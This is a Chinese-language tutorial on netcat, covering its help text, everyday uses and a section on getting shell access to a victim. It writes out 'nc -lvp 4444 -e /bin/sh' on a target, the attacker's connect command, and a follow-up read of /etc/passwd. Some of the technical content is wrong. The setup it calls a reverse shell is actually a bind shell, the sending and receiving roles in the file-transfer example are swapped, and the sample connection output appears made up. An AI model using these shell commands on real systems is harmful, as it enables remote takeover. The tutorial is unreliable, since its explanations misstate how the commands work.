文章目录
简介
netcat 是一个使用 TCP 或 UDP 协议的网络工具,它被称为网络界的“瑞士军刀”,它可以在两台计算机之间建立连接,进行数据传输。它支持多种网络操作,包括但不限于:
- 端口监听:在指定端口上监听传入的连接。
- 端口扫描:扫描目标主机上的开放端口。
- 数据传输:在两台计算机之间传输文件或数据。
- 反向 shell:在目标主机上执行命令并获取 shell 访问。
- 代理:通过中间服务器转发流量。
netcat/nc 帮助信息如下:
$ netcat -h
OpenBSD netcat (Debian patchlevel 1.206-1ubuntu1)
usage: nc [-46CDdFhklNnrStUuvZz] [-I length] [-i interval] [-M ttl]
[-m minttl] [-O length] [-P proxy_username] [-p source_port]
[-q seconds] [-s source] [-T keyword] [-V rtable] [-W recvlimit] [-w timeout]
[-X proxy_protocol] [-x proxy_address[:port]] [destination] [port]
Command Summary:
-4 Use IPv4
-6 Use IPv6
-b Allow broadcast
-C Send CRLF as line-ending
-D Enable the debug socket option
-d Detach from stdin
-F Pass socket fd
-h This help text
-I length TCP receive buffer length
-i interval Delay interval for lines sent, ports scanned
-k Keep inbound sockets open for multiple connects
-l Listen mode, for inbound connects
-M ttl Outgoing TTL / Hop Limit
-m minttl Minimum incoming TTL / Hop Limit
-N Shutdown the network socket after EOF on stdin
-n Suppress name/port resolutions
-O length TCP send buffer length
-P proxyuser Username for proxy authentication
-p port Specify local port for remote connects
-q secs quit after EOF on stdin and delay of secs
-r Randomize remote ports
-S Enable the TCP MD5 signature option
-s source Local source address
-T keyword TOS value
-t Answer TELNET negotiation
-U Use UNIX domain socket
-u UDP mode
-V rtable Specify alternate routing table
-v Verbose
-W recvlimit Terminate after receiving a number of packets
-w timeout Timeout for connects and final net reads
-X proto Proxy protocol: "4", "5" (SOCKS) or "connect"
-x addr[:port] Specify proxy address and port
-Z DCCP mode
-z Zero-I/O mode [used for scanning]
Port numbers can be individual or ranges: lo-hi [inclusive]
安装
在大多数 Linux 发行版中,netcat 已经预装。如果没有,可以通过包管理器安装,例如在 Ubuntu 或 Debian 上:
sudo apt-get install netcat
常见用法
1、监听端口:
nc -l -p 1234
这将在本地的 1234 端口上监听传入的连接。
2、连接到远程主机:
nc 192.168.1.1 1234
这将尝试连接到 IP 地址为 192.168.1.1 的主机的 1234 端口。
3、端口扫描:
nc -vz 192.168.1.1 1-100
这将扫描目标主机的 1 到 100 号端口。
4、文件传输:
nc -l -p 1234 < file.txt
这将在服务端监听端口,接收文件。
nc 192.168.1.1 1234 > file.txt
这将在客户端发送文件。
5、反向 shell:
nc -l -p 4444 -e /bin/sh
这将在服务端监听端口,等待连接,一旦连接建立,执行 shell。
nc -nv 192.168.1.1 4444
这将在客户端连接到服务端,获取 shell。
6、代理:
nc -l -p 8080 | nc 192.168.1.1 80
在本地监听 8080 端口,然后将流量转发到远程主机的 80 端口。
7、加密通信:
netcat 本身不支持加密,但可以与 ssh 或 stunnel 结合使用来实现加密通信。
8、其他选项:
- -d:后台模式运行。
- -e:在连接建立后执行指定的程序。
- -n:不解析域名,直接使用 IP 地址。
- -v:详细输出。
- -w:设置连接超时时间。
- -z:扫描模式,不发送任何数据。
反向 shell 技术
反向 shell 意思是允许攻击者在目标系统上创建一个 shell 会话,而这个 shell 会话是从攻击者的系统(客户端)控制的。这样,攻击者可以在目标系统上执行命令,就像他们直接在目标系统上操作一样。以下是一个使用 netcat 创建反向 shell 的例子:
1、在目标系统(受害者)上设置监听器
首先,攻击者需要在目标系统上设置一个监听器,等待来自攻击者的连接。这通常通过在目标系统上执行一个 netcat 命令来实现,该命令会监听一个特定的端口,并在连接建立后执行一个 shell。
在目标系统上,攻击者(或攻击者控制的内部人员)会执行以下命令:
nc -lvp 4444 -e /bin/sh
这个命令会让 netcat 在本地的 4444 端口上监听传入的连接,并在连接建立后执行 /bin/sh(Linux shell),从而提供一个 shell 会话。
2、在攻击者系统上建立连接
然后,攻击者在自己的系统上使用 netcat 来连接到目标系统。攻击者会知道目标系统的 IP 地址和监听的端口号(在这个例子中是 4444)。
在攻击者的系统上,攻击者会执行以下命令:
nc 192.168.1.1 4444
这里 192.168.1.1 是目标系统的 IP 地址。一旦连接建立,攻击者就可以在 netcat 的终端窗口中输入命令,这些命令会在目标系统上执行。
示例场景
假设攻击者已经通过某种方式在目标系统上植入了上述 netcat 监听器。攻击者在自己的系统上执行连接命令后,会看到类似以下的输出:
nc: connect to 192.168.1.1 port 4444 (open) [1] connected
然后,攻击者可以开始输入命令,如 ls(列出当前目录的文件)或 cat /etc/passwd(查看系统用户列表)等。这些命令会在目标系统上执行,并且输出会显示在攻击者的终端上。